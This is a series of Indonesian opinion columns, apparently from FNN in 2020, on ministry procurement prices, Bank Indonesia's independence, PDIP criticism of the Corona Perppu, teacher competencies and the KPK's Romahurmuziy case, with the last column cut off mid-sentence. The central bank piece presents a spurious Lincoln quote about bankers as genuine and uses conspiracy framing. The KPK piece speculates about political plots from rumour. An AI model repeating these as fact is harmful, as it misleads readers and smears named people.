Mata Ketua Komisi IV DPR RI Sudin langsung terbelalak. Rambutnya berdiri. Dia sangat kaget ketika mendapati angka-angka tersebut. Dalam persentasi laporan refocusing anggaran APBN 2020, Kementan mengalokasikan dana sekitar Rp 26,2 miliar untuk pengadaan 35 ribu ekor ayam. "Kalau dihitung, satu ekor ayam itu jatuhnya Rp 770 ribu. Coba Anda hitung ulang sekarang. Apakah anggaran satu ekor ayam sebesar itu?" tanya Sudin dalam rapat dengar pendapat virtual yang digelar Komisi IV DPR bersama Eselon I Kementerian Pertanian, Selasa, (28/4). Sementara pengadaan babi mencapai Rp 5,03 miliar untuk 550 ekor. Total pengadaan babi ini, dihitung nilainya mencapai Rp 9 juta/ekor. Bagaimana bisa harga babi dan ayam itu melejit demikian tinggi? Direktur Jenderal Peternakan dan Kesehatan Hewan Kementerian Pertanian I Ketut Diarmita hanya menjawab pendek. “Akan kami tinjau dan perbaiki kembali,” ujarnya sebagaimana dikutip tempo.co. Moral hazard Membengkaknya harga-harga yang tidak masuk akal itu tidak bisa hanya dijelaskan dengan jawaban pendek Pak Dirjen. Juga tidak bisa dijelaskan dengan kata” salah input, atau salah ketik.” Kalau ada kesalahan input atau ketik, paling banter hanya selisih satuan angka saja. Tidak mungkin sampai naik beribu kali lipat. Publik wajar dong berprasangka ada upaya perselingkuhan menilap anggaran negara. Apalagi sudah terbukti banyak aparat dan pejabat pemerintah yang memanfaatkan situasi di tengah pandemi. Mereka berpesta pora di tengah wabah Corona. Moral hazard dimana-mana. Contoh paling nyata dilakukan oleh lingkar dekat Presiden Jokowi. Para Stafsus Milenial. Mereka kini tengah jadi bulan-bulanan, karena terbukti terlibat dalam proyek akal-akalan Pra(nk) Kerja sebesar Rp 5.6 Triliun. Publik dan khususnya anggota DPR kudu ekstra waspada. Boleh jadi fenomena di Deptan merupakan puncak gunung es dari permainan anggaran. Coba bayangkan besarnya anggaran yang bisa dimainkan di berbagai kementerian, dan badan-badan pemerintah lainnya. Apa yang terjadi di Dirjen Peternakan bisa menjadi pintu masuk menyelidiki penyelewengan anggaran di semua instansi pemerintah. Fenomena ini juga merupakan sebuah ironi besar, di tengah situasi bencana. Pemerintah kalang kabut, cari utang kesana kemari. Mencoba menghemat dan menggeser anggaran mengatasi virus Corona, mereka malah berpesta pora. Ngomong-omong, apakah di dunia nyata memang benar ada harga babi dan ayam varietas unggul seperti harga yang dipatok Deptan? Kalau anda tanyakan pada filsuf kontemporer Rocky Gerung, jawabannya cukup mengejutkan. Secara tegas dia menjawab ada. “Itu harga babi ngepet dan ayam (stafsus) milenial.” Haduuuuhhhhh…….. End. Penulis Wartawan Senior.

Bank Indonesia, Mirip Dengan Negara Berdaulat

By Dr. Margarito Kamis Jakarta FNN – Sabtu (02/05). Demokrasi telah datang sekali lagi untuk Indonesia tercinta ini, setelah gelombang reformasi memukul banyak hal. Gembira ria orang menyambut dan merayakan datangnya alam demokrasi itu. Apalagi kedatangannya disokong kuat oleh negara-negara yang selama ini telah menjadikan demokrasi sebagai jimatnya. Ide-ide demokrasi pun segera diinstitusionalisasi. Lahirlah sejumlah lembaga baru. Bank Indonesia, yang semula sama dengan Amerika, tidak diatur dalam konstitusi, telah disokong secara unik oleh reformasi. Hasilnya, institusi ini dibawa masuk ke dalam konstitusi. Jadilah institusi ini sebagai organ konstitusi. Mahkotanya pun ditulis dalam konstitusi. Mahkota itu bernama “independensi”. Cara menulisnya, sebenarnya tidak unik untuk siapapun yang terlatih mengenal secara kritis penormaan sesuatu yang tidak selalu disukai oleh banyak orang, tetapi dibutuhkan. Tentu untuk kepentingan tertentu, entah apa dan siapa, dijadikan huruf-huruf hukum. Negara Sendiri Persis pola “politik pintu terbuka” yang menjadi tabiat teknis korporasi-korporasi minyak dan gas kelas dunia memasuki satu area baru. Setelah masuk, mereka lalu mengunci diri di dalamnya, sehingga pesaing lain tidak bisa lagi memasuki areal tersebut. Pasal 23D UUD 1945 tidak menyatakan secara rigid dalam satu kalimat terstruktur dengan rumusan begini “Bank Indonesia Bersifat Independen.” Itu tidak ada. Rumusan persis pasal 23D UUD 1945 adalah “Negara memiliki satu bank sentral yang susunan, kedudukan, kewenangan, tanggung jawab dan “independensinya” (tanda petik dari saya) diatur dengan undang-undang. Rumusan pasal 23D UUD 1945 itu sangat simple. Sederhana sekali. Tetapi jangan lupa ini merupakan taktik standar mengunci argumen lawan atau orang yang tidak berkenaan dengan hal itu. Tesisnya begini, bangun dulu legalitas atau fundasinya dalam UUD 1945. Perkara perluasan. Itu urusan nanti. Apa konsekuensi hukum rumusan pasal 23D UUD 1945 itu? Rumusan pasal ini dapat dianalogikan sebagai memberikan cek kosong. Isinya terserah saja. Berapapun angkanya yang mau ditulis dalam cek itu, terserah pada sipenerima cek. Sifat ini digunakan juga dalam UU Nomor 3 Tahun 2004. Itu terlihat pada rumusan pasal 3. Selengkapnya rumusan pasal ini berbunyi begini “BI adalah badan hukum menurut UU ini.” Simpel saja. Itulah nalar logis memahami rumusan tugas, wewenang serta independensi Bank Indonesia yang diatur, terutama dalam UU Nomor 3 Tahun 2004 Tentang Perubahan UU Nomor 23 Tahun 1999, dan UU Nomor 6 Tahun 2008 Tentang Penetapan Perpu Nomor 2 Tahun 2008, termasuk Perpu Nomor 1 Tahun 2020. Rumusan pembukanya pendek. Tetapi yang penting itu pintu terbuka dulu, karena segera setelah itu pintu akan mengayun, dan terkunci rapat untuk siapapun. Terkuncinya pintu itu terlihat pada rumusan, misalnya pasal 54 yang esensinya “pemerintah wajib meminta pendapat BI ketika pemerintah membahas kebijakan ekonomi dalam rapat kabninet.” Sama dalam esensinya pada dengan ketentuan di atas. Terdapat ketentuan lain, misalnya yang mewajibkan pemerintah berkonsultasi terlebih dahulu dengan BI. Bahkan menyertakan BI dalam rapat kabinet yang membicarakan masalah-masalah ekonomi dan keuangan. Termasuk pemerintah wajib berkonsultasi dengan BI ketika pemerintah akan menerbitkan Surat Utang Negara (SUN). Berseberangan dengan ketentuan itu, dan dititik ini terlihat samar-samar BI memiliki kemiripan dengan sebuah negara berdaulat. Mengapa? Orang pemerintah yang hadir, karena diundang BI dalam rapat dewan gubernurnya, hanya untuk memiliki hak bicara. Tidak lebih dari hanya bicara. Orang pemerintah yang hadir dalam rapat itu, tidak diberi hak suara. Semua eksklusifitas BI itu, untuk penalaran hukum konstitusi positif, memang harus diterima sebagai hal tak terhindarkan. Penalaran hukum konstitusi positif tentang “independensi” memang begitu adanya. Begitulah “independensi” bekerja dalam lintasan kerangka hubungan hukum antar lembaga atau cabang-cabang kekuasaan. Sedemikian manisnya ekslusifitas itu disematkan kepada BI, sehingga terasa agak konyol. Dimana letak kekonyolan itu? Presiden tidak bisa ikut campur dalam urusan BI, untuk alasan apapun, tetapi dapat menerima bantuan kerjamama dengan lembaga lain. Memang pintu itu tidak diatur secara tegas di UU, melainkan dalam penjelasannya. Tetapi telah cukup meratakan, merobohkan tembok “independensi.” Kerjasama, boleh jadi metode memasukan pikiran, untuk tak menyebut interfensi lembaga-lembaga keuangan asing ke dalam BI. Mengawalinya dengan gagasan dan ide, lalu berakhir dengan kebijakan. Toh kebijakan BI cukup diatur dengan Peraturan BI. IMF dan World Bank, yang terlihat sebagai rentenir kelas dunia, yang mematikan itu, memiliki kesempatan memasuki BI melalui pintu kerjasama itu. Punya Dua Bos Presiden, siapapun figurnya, suka atau tidak, menurut konstitusi adalah satu-satunya pemegang kekuasaan pemerintahan di negera ini. Dalam kedudukan konstitusional itu, presiden memimpin seluruh penyeleggaraan urusan pemerintahan di negara ini. Masalahnya sekarang, mengapa Presiden diisolasi dari urusan dengan keuangan? Apakah ada urusan perekonomian nasional yang tak terjalin dengan uang, mata uang, stabilitas keuangan, dan sejenisnya? Urusan uang itu mahluk apa? Mengapa Presiden diisolasi secara ekstrim, dengan hanya melalui UU, sehingga tak bisa terlibat merumuskan kebijakan terkait dengan kewajiban konstitusionalnya? Dua bos, itulah yang patut dikatakan dalam menggambarkan pemisahan ekstrim dua urusan ini. Presiden hanya mengurus ekonomi di luar keuangan. BI disisi terdekatnya memonopli urusan keuangam, dan dalam level yang cukup menentukan, juga ekonomi. Karakter ini terus dipertahankan. Juga terus diperlebar dari waktu ke waktu. Mengapa? Semua UU di atas memperlihatkan dengan sangat jelas, BI, persis seperti The Federal Reserve di Amerika. Terus diberi tambahan kewenangan. Persis Amerika, tambahan kewenangan BI juga dilakukan melalui UU. Pemerintah menerbitkan surat berharga dan dibeli oleh Bank Indonesia. Inilah soalnya, dilihat dari sudut cara kita bernegara. Apa soalnya? Bank ini memiliki terpisah dari pemerintah. Organ ini adalah organ tersendiri. Tetapi besar kemungkinan orang akan melihat keadaan itu sebagai konsekuensi logis dari sifat “independen” yang disematkan secara konstitusional padanya. Dalam konteks itu negara bisa saja tak punya uang atau kekurangan uang, tetapi Bank Indonesia punya. Masuk akalkah ini? Apa saja usaha bank ini menghasilkan uang sebanyak apapun, yang dibutuhkan pemerintah? Main SUN? jelas tidak. Iuran Bank? Lalu apa usahanya? Nalar yang disediakan pasal 20 UU Nomor 23 Tahun 1999, mungkin menjadi jawaban finalnya. Nalar pasal 20 itu adalah BI ini memiliki kewenangan “mencetak uang.” Bagaimana merealisasikannya? Cara manisnya berupa tarik saja uang yang telah kumal, lalu cetak uang melebihi jumlah uang yang ditarik. Inflasi dan hiperinflasi? Ah pengendalian inflasi dan hiperinflasi kan keterampilan terhebat Bank Sentral di dunia ini. Justru untuk mengelola inflasi itulah, salah satu di antara beberapa golden argument, sekaligus golden goal pembentukan bank sentral di dunia ini. Di dunia mana sekarang ini cetak uang menggunakan standar emas? Lyndon Johnson telah menyempurnakan pola ini semasa memerintah sebagai presiden menggantikan John F. Kennedy, presiden pintar yang sayangnya mati terbunuh, tanpa sebab jelas hingga hari ini. Tidak ada. Inflasi telah menjadi tabiat dasar sistem keuangan mutakhir. Tetapi mari mengenali kenyataan kecil yang disodorkan oleh Ralp Epperson. Menurut Epperson Abraham Lincoln, Presiden hebat, pencipta semboyan “government from people, by the peole dan for the people”, yang berhasil mempertahankan keutuhan Amerika serikat, terlilit utang dalam membiayai perang. Lalu dia dipaksa oleh bankir swasta internasional (Perancis dan Inggris) yang berkolarborasi dengan bankir dalam negeri meminjam dari Bank. Lincoln menolak. Salmon P. Chase, menteri keuangan Lincoln, yang terlihat bekrja dalam kendali tak terlihat dengan bankir swasta, yang kelak namanya diabadikan pada Chase Manhatan Bank milik Rockefeller, mengancam bankir untuk menerima obligasi pemerintah. Bila mereka tidak menermia, maka pemerintah, katanya, akan membanjiri negara dengan uang kertas. Lincoln akhirnya memutuskan tidak meminjam uang dari bank, juga tak akan menciptakan uang berbunga, dengan mendirikan bank nasional. Bank ini akan meminjami pemerintah uang yang dibutuhkan, untuk mencetak banyak sekali uang kertas. Lalu segera mengeluarkan kertas pada Februari 1862. Uang ini tidak hanya tidak didukung oleh emas, tetapi juga bebas hutang. Sayangnya Lincol terjepit dalam permainan rumit para bankir swasta. Salmon P. Chase, menteri keuangan Lincoln, yang kelak menjadi hakim agung, dalam kenyataannya meloloskan bill of National Bank ke Kongres. Pada tahun 1863 Kongres setuju menjadi UU. Apa respon Lincoln atas UU ini? Dia memperingatkan rakyatnya dengan peringatan berikut. Lincoln, seperti ditulis Epperson, mengatakan “kekuatan uang memangsa negara pada masa damai, dan berkonspirasi melawan pemerintah pada masa sulit. Kekuatan ini lebih lalim dibandingkan monarki, lebih biadab dibandingkan dibandingkan otokrasi, lebih egois dibandingkan birokrasi. Saya melihat sebuah krisis akan terjadi dalam waktu dekat yang membuat saya gelisah, dan membuat saya berjuang demi keselamatan negara saya”. Perusahaan, katanya lebih jauh, telah berkuasa, dan zaman korupsi akan terjadi. Kekuatan uang negara akan berusaha memperpanjang kekuasaannya dengan memanfaatkan prasangka rakyat, sampai pada kekayaan hanya dimiliki oleh beberapa orang, dan republik hancur. Mau abaikan, dan tempatkan penilaian tajam Lincoln ini di bak sampah, ketika siapapun hendak membaca ketentuan dalam Perpu Nomor 1 Tahun 2020? Perpu ini memberi kewenangan kepada BI memberi fasilitas darurat kepada korporasi? Mau ditempatkan di bak sampah juga perspektif hebat Lincoln di atas dalam membaca SUN pemerintah, yang akan dibeli BI? Apakah Presiden, juga DPR dapat mengontrol kebijakan fasilitas istimewa BI kepada Korporasi yang keuangannya, menurut defenisi Perpu Nomor 1 Tahun 2020, terpukul oleh corona? Presiden memegang kekuasaan pemerintahan, tetapi kekuasaan pemerintahan itu tak termasuk bidang moneter. Logiskah? Presiden, siapapun figurnya, diserahi kewajiban konsitusional mengurus, mensejahterakan rakyat, tetapi Presiden diisolasi dalam urusan moneter. Presiden harus bergantung pada BI dalam kebijakan moneter. Pada titik ini Presiden dan BI terlihat sebagai dua Bos yang berbeda buat bangsa dan negara ini.* Penulis adalah Pangajar Hukum Tata Negara Universitas Khairun Ternate

PDIP Sedang Mengigau Tentang Jokowi

By Asyari Usman Jakarta, FNN - PDIP bergolak. Banyak yang membanting-bantingkan kepala. Marah besar terhadap Peraturan Pemerintah Pengganti Undang-Undang (Perppu) nomor 1 tahun 2020. Ditetapkan dan mulai berlaku 31 Maret 2020. Lengkapnya, Perppu itu adalah tentang “Kebijakan Keuangan Negara dan Stabilitas Sistem Keuangan untuk Penanganan Pandemi Corona Virus Disease 2019 (Covid-19) dan/atau dalam Rangka Menghadapi Ancaman yang Membahayakan Perekonomian Nasional dan/atau Stabilitas Sistem Keuangan”. Supaya tidak pusing menghafal judul ini, banyak yang sepakat menyingkatnya dengan “Perppu Corona”. Setidaknya, ada dua kader cemerlang PDIP yang dibuat keder oleh Perppu Corona ini. Pertama, Masinton Pasaribu. Kedua, Arteria Dahlan. Mereka ini adalah ‘rising star’ PDIP. Masinton mengamuk karena, kata dia, Perppu Corona adalah rangkaian peraturan yang seluruhnya untuk kepentingan oligarki. Oligarkhi adalah sekelompok kecil orang –boleh disebut beberapa orang— yang memegang kekuasaan di sebuah negara. Politisi senior PDIP ini sangat galak. Dia sebut Perppu Corona sebagai bentuk sabotase terhadap UUD 1945. Arteria mengutuk Perppu ini sebagai isyarat adanya “kekuasaan baru di atas kekuasaan Presiden”. Dia khawatir, Perppu Corona memberikan kewenangan tak terbatas kepada pemerintah dalam mengelola dana penangangan wabah Covid-19. Jumlah dana itu sangat besar: 405 triliun rupiah. Mungkin yang membuat resah Arteria adalah pasal 27 Perppu Corona. Di situ lebih-kurang disebutkan bahwa siapa pun yang melakukan kesalahan dalam penggunaan dana Covid-19 tidak bisa dikenai tuntutan pidana atau perdata. Arteria meminta KPK agar mengawasi dana Covid-19 agar tidak disalahgunakan. Yang menarik dari politisi muda yang pernah galak dan melecehkan Prof Emil Salim dalam siaran live televisi itu, dia khawatir Presiden Jokowi akan tersandera. Nah, mari kita bahas ‘dobrakan dahsyat’ kedua politisi hebat Partai Banteng ini. Pertama, tentang kegelisahan Masinton Pasaribu. Dia katakan, Perppu Corona adalah aturan yang dibuat untuk oligarki. Pertanyaan kita: apakah selama ini Jokowi bukan duduk untuk oligarki? Ke mana saja Anda, Bung Masinton? Kok sekarang baru sadar bahwa Jokowi menjadi presiden untuk kepentingan oligarki? Bukankah sejak 2014 oligarki itulah yang menguasai pemerintah dan negara ini? Mungkin Anda terlalu nyenyak tidurnya, Bung! Tapi, lumayanlah masih sempat Anda mengigau tentang Jokowi. Hanya saja, igauan itu biasanya tidak bisa dipakai sebagai dasar untuk mengambil tindakan. Artinya, Anda harus puas dengan igauan itu saja. Pak Jokowi tidak akan ‘online’ dengan igauan Anda itu. Dia akan melenggang sebagai “presiden pilihan rakyat” sampai akhir hayat periode keduanya. Begitu juga dengan Arteria. Anggota Dewan Yang Amat Berhormat ini pun juga sedang mengigau. Sama seperti koleganya, Masinton. Kata Arteria, Perppu Corona menunjukkan keberadaan “kekuasaan baru di atas kekuasaan Presiden”. Teman saya, Hersubeno Arief, menyebutnya “Presiden di atas Presiden”. Lagi-lagi, kenapa baru sekarang politisi ‘rising star’ PDIP ini sadar. Padahal, sejak 2014 di negara ini sudah ada “Presiden di atas Presiden”? Bukankah fenomema ini sudah berlangsung lama dan sekarang memasuki tahun ke-6? Sama halnya, igauan Arteria itu hanya bisa dijadikan kepala berita saja. Tidak bisa dipakai untuk mengurai kekacauan dalam tatakelola pemerintahan. Juga tidak akan bisa menghentikan oligarki yang dikeluhkan kolegamu, Masinton Pasaribu. Igauan Anda itu tak mungkin pula bisa menyingkirkan “Presiden di atas Presiden”. Dia akan tetap ada di sana sampai 2024. Saran saya kepada Anda berdua begini. Anda tenang saja. Anda pergi menghadap Bu Mega. Tanyakan ke beliau: oligarki dan “Presiden di atas Presiden” itu, mau diapakan? Saya menduga, jawaban Bu Mega akan mengutip pepatah Inggris: “if you can’t beat them, join them” (kalau tidak bisa mengalahkan mereka, ikut saja gabung ke mereka”.[] 1 Mei 2020(Penulis wartawan senior)

Kompetensi Pedagogik, Sebuah Keniscayaan

By Dr. Elli Widia S.Pd. MM.Pd.* Jakarta FNN – Jum’at (01/05). Orang-orang pandai dan sukses pasti sepakat bahwa tidak ada pahlawan yang lebih berjasa bagi mereka selain guru. Maka, tak heran ada adagium yang menyebutkan bahwa orang hebat bisa melahirkan beberapa karya bermutu. Tetapi guru yang bermutu dapat melahirkan ribuan orang-orang hebat. Mendidik, membimbing, dan menjadi orangtua pengganti. Begitulah sejatinya peran seorang guru bagi anak-anak didiknya. Sehingga wajar ada semboyan “Tut Wuri Handayani” (dari belakang seorang guru harus bisa memberikan dorongan dan arahan) atau “Digugu dan ditiru”. Semboyan itu mengandung makna bahwa guru bukan profesi yang sembarangan. Ia dijadikan model untuk ditiru. Oleh karena itu, para guru dituntut untuk selalu tampil prima. Tidak ada alasan bagi guru untuk menunjukkan suasana hati yang tidak menyenangkan (bad mood) di hadapan peserta didiknya. Lantas, apa yang melatarbelakangi seseorang untuk menekuni profesi sebagai guru? Ternyata jawabannya bervariasi. Seseorang tertarik menjadi guru, antara lain sekedar mengisi waktu luang karena suami atau istrinya pulang kerja di sore atau malam hari. Tipe guru seperti ini bisanya saat sedang mengajar selalu melihat jam untuk mengetahui kapan waktu istirahat dan kapan waktunya pulang. Karena kegiatan mengajarnya cenderung hanya betujuan untuk mengisi waktu luang. Ada pula motivasi seseorang menjadi guru karena faktor ekonomi. Tujuannya, untuk memenuhi kebutuhan ekonomi keluarganya. Sehingga bisa jadi setiap mengajar, guru dimaksud sering melihat tanggal kapan waktunya gajian. Tetapi ada pula alasan seseorang menjadi guru karena panggilan jiwa dan idealisme. Tipe guru seperti ini mendedikasikan dirinya untuk menjadi seorang pendidik yang kompeten dan professional. Bagian dari upayanya memajukan anak didik serta lembaga tempat dirinya bekerja sebagai pendidik. Pada sisi lain, saat ini kesejahteraan guru sudah relatif lebih baik. Beberapa insentif diberikan. Artinya, para guru menerima tambahan pendapatan, sehingga tidak sedikit orang kini mulai melirik profesi yang satu ini. Karena itu pula, apapun motivasi dan alasan menjadi guru, mereka dituntut untuk menjadi pengajar dan pendidik yang kompeten dan profesional. Dalam kaitan ini, menurut Undang-Undang Republik Indonesia Nomor 14 Tahun 2005 Tentang Guru dan Dosen, setidaknya ada empat kompetensi yang harus dimiliki seorang guru, yaitu kompetensi pedagogik, kompetensi kepribadian, kompetensi profesional, dan kompetensi sosial. Guru idealnya memilki keempat kompetensi tersebut secara holisitik (menyeluruh). Kompetensi itu tercermin pada penampilan dan kinerjanya sebagai seorang pendidik, sehingga yang bersangkutan layak disebut sebagai guru yang kompeten dan profesional. Dengan kompetensi pedagogik dimaksud, bahwa seorang guru harus memiliki kecakapan. Juga ketrampilan dan seni, sehinggga tercipta suasana yang nyaman dan menyenangkan ketika proses pembelajaran berlangsung di dalam kelas. Kompetensi pedagogik inilah yang membedakan profesi guru dengan profesi lainnya. Tidak dapat dipungkiri, kompetensi ini mengharuskan seorang guru menguasai karateristik peserta didik. Menguasai prinsip dan teori dasar pembelajaran. Faham tentang pengembangan kurikulum, dan rapi dalam urusan administrasi kelas. Selain itu, seorang guru harus bisa melaksanakan kegiatan pembelajaran yang bervariasi, serta dapat menciptakan suasana belajar yang nyaman dan menyenangkan. Harus mampu memanfaatkan teknologi informasi yang kini dipengaruhi oleh revolusi industri 4.0. Era revolusi industri 4.0 itu sendiri membutuhkan tenaga kerja, termasuk guru yang memiliki keterampilan dalam literasi digital dan literasi teknologi informasi. Ketrampilan itu dalam upaya meningkatkan efektivitas proses pembelajaran. Sementara itu, kompetensi kepribadian adalah kemampuan kepribadian yang mantap, berakhlak mulia, arif dan berwibawa. Menjadi teladan bagi peserta didiknya. Disamping itu, mampu mengevaluasi kinerja sendiri dan mengembangkan diri secara berkelanjutan. Pada umumnya, lembaga pendidikan, setiap sekolah memiliki standar tersendiri dalam merekrut calon guru untuk tenaga kependidikan di sekolah dimaksud. Sudah barang tentu syarat yang mutlak harus dimiliki adalah ijazah sebagai pendidik atau sertifikat sebagai pendidik. Tetapi syarat berupa ijazah sebagai pendidik saja belum cukup. Karena jika seseorang tidak memiliki jiwa sebagai pendidik, maka yang bersangkutan tidak akan bisa menjadi seorang guru yang kompeten dan berintegritas. Namun dari mana kita bisa melihatnya? Tidak lain dari kepribadiannya. Maka di sinilah terasa arti pentingnya kompetensi kepribadian itu. Guru juga harus memiliki kompetensi profesional. Dengan kompetensi ini, yang bersangkutan tentu harus mempunyai ijazah sebagai pendidik atau sertifikat pendidik. Harus juga menguasai falsafah pendidikan. Mempunyai pengetahuan terkait bahan pelajaran yang akan diberikan, serta memiliki kemampuan menyusun program pembelajaran, sekaligus mampu melaksanakannya. Guru yang profesional juga dapat melakukan penilaian dalam proses pembelajaran dan memberikan bimbingan kepada anak-anak didik untuk mencapai tujuan program pembelajaran. Selain itu, juga dapat bertindak sebagai administrator dan komunikator yang baik. Mampu mengelola dirinya sendiri dalam melaksanakan tugas sehari-hari. Guru yang dengan kompetensi seperti itu, akan mampu menciptakan lingkungan belajar yang efektif. Mampu melaksanakan tugas secara optimal untuk kepentingan pencapaian hasil belajar siswa khususnya, dan pencapaian mutu pendidikan pada umumnya. Peran guru itu sejatinya adalah melayani perserta didik dan orangtua yang sudah mengamanahkan anak-anaknya untuk bisa dijadikan anak didik. Harapannya, kelak kemudian hari menjadi orang-orang yang berguna bagi sesama. Bermanfaat orang banyak. Dalam kaitan itu pula, seorang guru wajib untuk selalu berusaha membangun komunikasi yang baik dengan orangtua murid. Tujuannya, agar proses dalam mendidik dan membimbing anak-anak bisa sesuai dengan apa yang diharapkan. Maka, di sinilah arti pentingnya seorang guru harus memilki kompetensi sosial itu. Khusus terkait pembelajaran, sejak Mendikbud mengeluarkan Surat Edaran No. 36962/MPK.A/HK/2020 agar seluruh kegiatan belajar-mengajar menggunakan metoda daring (dalam jaringan) alias online sebagai upaya pencegahan terhadap penyebaran Covid-19, banyak kisah menarik, lucu, maupun sedih yang terjadi dalam proses belajar dengan metode ini. Bisa dilihat bagaimana stresnya orangtua yang mendampingi anak-anaknya belajar di rumah. Bagaimana siswa kebingungan menghadapi tumpukan tugas yang dianggap rumit dari para pendidik. Apalagi sebagian orang juga juga masih gagap teknologi. Pada masa Pembatasan Sosial Berskala Besar (PSBB) terkait adanya wabah Covid-19 ini, guru dituntut untuk berinovasi dalam memberikan pembelajaran kepada peserta didik di rumah. Inovasi dimaksud makin terasa penting, karena tidak semua orangtua mampu memberikan alat komunikasi berupa laptop, komputer atau handphone (telpon genggam) bagi anak-anaknya. Maka, tuntutan agar guru memiliki kompetensi pedagogik, kompetensi kepribadian, kompetensi profesional, dan kompetensi sosial semakin terasa di era masih mewabahnya Covid-19 ini, yang mengharuskan anak-anak belajar di rumah. Dengan kata lain, kini makin disadari bahwa kehadiran guru yang bermutu merupakan sebuah keniscayaan. Lebih dari itu, berbicara tentang guru adalah berbicara tentang masa depan. Karena guru yang bermutu dan berintegritas akan melahirkan generasi yang baik dan merdeka dari segala kebodohan. Generasi yang baik tersebut akan senantiasa memberikan kontribusi yang luar biasa bagi dirinya, keluarganya, bangsanya, dan negaranya. *Penulis adalah Guru SD Islam Nabilah dan Dosen Pascasarjana Fak. Ekonomi Universitas Batam

Serunya Operasi KPK Kasus Romy, Anti Klimaxnya di Pengadilan.

By Dr. Maiyasyak Johan Jakarta FNN – Jum’at (01/05). Seorang teman Presiden ditangkap KPK di Jawa timur. Sebut saja mantan Ketua Umum DPP PPP Muhammad Romahurmuziy. Biasa dipanggil dengan sebutan Rommy. Bagi orang Indonesia, berita ini bagaimana pun masih dianggap luar biasa. Apalagi ternyata yang ditangkap itu seorang Ketua Umum Partai pendukung penguasa. Diketahui, bahwa kasus mantan Ketua umum PPP yang ditangkap itu, tidak ada kaitannya dengan Presiden. Namun pengaitan itu tidak lebih hanya pandangan masyarakat yang melihat bahwa selama ini bila teman penguasa tertentu saja susah ditangkap, apalagi teman Presiden. Tentu agak mustahil bisa ditangkap. Begitulah opini umum masyarakat kebanyakan. Berdasarkan data, pernah ada yang dekat dengan Presiden ditangkap KPK. Apa yang terjadi kemudian? KPK-nya menjadi bulan-bulanan. Semua borok orang-orang KPK dibuka. Akibatnya KPK pun menjadi sempoyongan. Dengan kata lain, ternyata KPK juga tak bersih-bersih amat. Karena itu, tidak heran bila sampai ada temen Presiden, yang Ketua Umum Partai sampai ditangkap. Apalagi dengan tuduhan korupsi. Sangat memalukan sekali. Alibinya sangat klasik, yakni memanfaatkan pengaruh untuk melakukan jual-beli jabatan. Tetapi walaupun kecil dan klasik, itu adalah pintu masuk. Untuk itu, patut diduga atau cukup masuk akal bila ada motif politik dari orang yang berusaha untuk menyingkirkan Romy. Yang punya motif ini telah mempelajari kebiasaan Romy sejak lama, sehingga niat kelompok orang ini untuk menyingkirkannya menjadi terbuka luas. Operasi untuk penyingkiran Romy bisa terjadi, karena ada pintunya yang sudah terbuka lebar. Semua itu bisa terjadi, mungkin karena yang di sekitar Presiden suah ada yang mulai gerak dengan sepak-terjang Romy. Demikian juga di internal partai. Bahkan bisa jadi juga gang kecilnya pun melihat Romy sudah terlalu liar. Dianggap bisa mengganggu peluang anggota gang yang lain. Mereka yang di sekeliling menganggap, akan lebih baik bila Romy. Logika ini dalam berbagai novel bisa dijalankan ketika di sekitar dikuasaan ada orang atau kelompok yg meriang atas kedekatan Rommy dengan sang Presiden. Lalu kerjasama dua kelompok itu pun terjadi. Maka tersingkirlah Romy. Semua itu bisa terjadi karena memang kelakuan Romy ternyata memang masih suka untuk ngerampok yang kecil-kecil. Tetapi ada yang bilang itu hukum karma. Karena dia mengkhianati Ketua Umum PPP sebelumnya Surya Darmay Ali, yang telah membesarkannya. Benarkah demikian? Tak ada yang tau. Sebab itu cuma bisik-bisik saja. Kita juga tak tahu, setelah ini siapa yang akan tertulah berikutnya. Berikutnya, persekongkolan teman satu gang dengan orang luar gang dalam kekuasaan pun berjalan . Romy masuk penjara. Lalu teman seiring yang dulu satu gang pun menggantikannya. Kawan Presiden tadi, dan seorang temannya yang menjadi menteri agama akhirnya tersingkir. Teman Rommy yang naik menggantikannya menjadi Ketua Umm PPP. Lalu naik lagi menjadi menteri. Cukup beruntung. Karena oleh KPK cuma diperiksa. Tidak dijadikan sebagai tersangka sekalipun ruang kerjanya sempat dibeslah. Dalam laci meja kerjanya ditemukan tumpukan uang dalam jumlah banyak. Begitu seperti yang diberitakan oleh media massa. Mereka adalah anggota gang yang sama. Meraka juga sama-sama memanipulasi keadaan di dalam Partai. Sehingga meraka berhasil menghancurkan partai tersebut dari dalam. Banyak yang berduka, tetapi banyak yang tidak mengerti atau menerima kehancuran akhlak di sana. Semuanya bermula dari muktamar PPP di Ancol. Terus melalui serangkaian pengkhianatan terhadap prinsip-prinsip perjuangan partai, terjadi perpecahan. Juga tragedi kekerasan dari pengurus partai, seperti main ancam kepada pengurus di bawah dan merekayasa susunan pengurus. Peristiwa itu menjadikan PPP dikuasai oleh politisi Orde Baru, dan pengkhianat baru. Itu yang akhirnya yang membuat PPP menjadi juara memasukkan pejabat partainya ke penjara. Setidaknya pada tingkat pusat, sudah dua Ketua Umum PPP yang menjadi pasien lembaga pemasyarakatan sebagai narapidana korupsi. Sedangkan di daerah tidak usah disebut, karena malu. Yang mengherankan, bagaimana bisa mereka kok sama-sama kelakuannya dengan partai-partai sekuler? Dari dua Ketua Umum PPP yang telah menjadi pasien KPK, kedua-duanya merupakan kawan dari Presiden. Hanya saja dengan periode yang berbeda. Sungguh miris sekali. Bukan cuma miris atas apa yang dialami oleh PPP. Partai ini kemudian terpecah, dan menjadi kerdil. Aktor yangg mengkerdilkannya sukses menjadi pejabat serta menempati posisi tanpa sedikit pun pernah bicara tentang umat dan nilai-nilai perjuangan partai. Selian itu, miris juga melihat KPK dan Pengadilan dalam proses penegakan hukumnya yang terkesan sangat jauh dari spirit politik hukum negara dalam pemberantasan korupsi. Bisa dikatakan “ada korupsi dalam pemberantasan korupsi”. Sungguh, ini sangat luar biasa miris. Luar biasanya kasus ini bisa dilihat dari proses penangkapan yang dilakukan KPK. Kejadiannya sangat menegangkan. Ada adengan kejar-kejaran, pertengkaran, adu mulut. Sementara kameraman dan blizt terus menyala. Kita juga tak tahu siapa mereka, apakah mereka itu jurnalis? Kalau iya, dari media mana? Atau mereka petugas KPK? Bila mereka dari media, bagaimana media bisa tahu dan ada di sana? Setelah kejar-kejaran sejenak, akhirnya terlihat petugas KPK berhasil membekuknya. Kabarnya, sempat terjadai adu mulut, tetapi itu tidak berlangsung lama. Seperti biasa, media mainstream, baik TV, cetak serta online secara nasional terus-menerus menyiarkan beritanya. Heboh dimana-mana. Sejumlah tempat, mulai dari kantor partai, termasuk kantor kementerian, rumah dan berbagai tempat digeledah petugas KPK. Sejumlah dokumen dan uang berhasil disita petugas KPK. Sejumlah nama 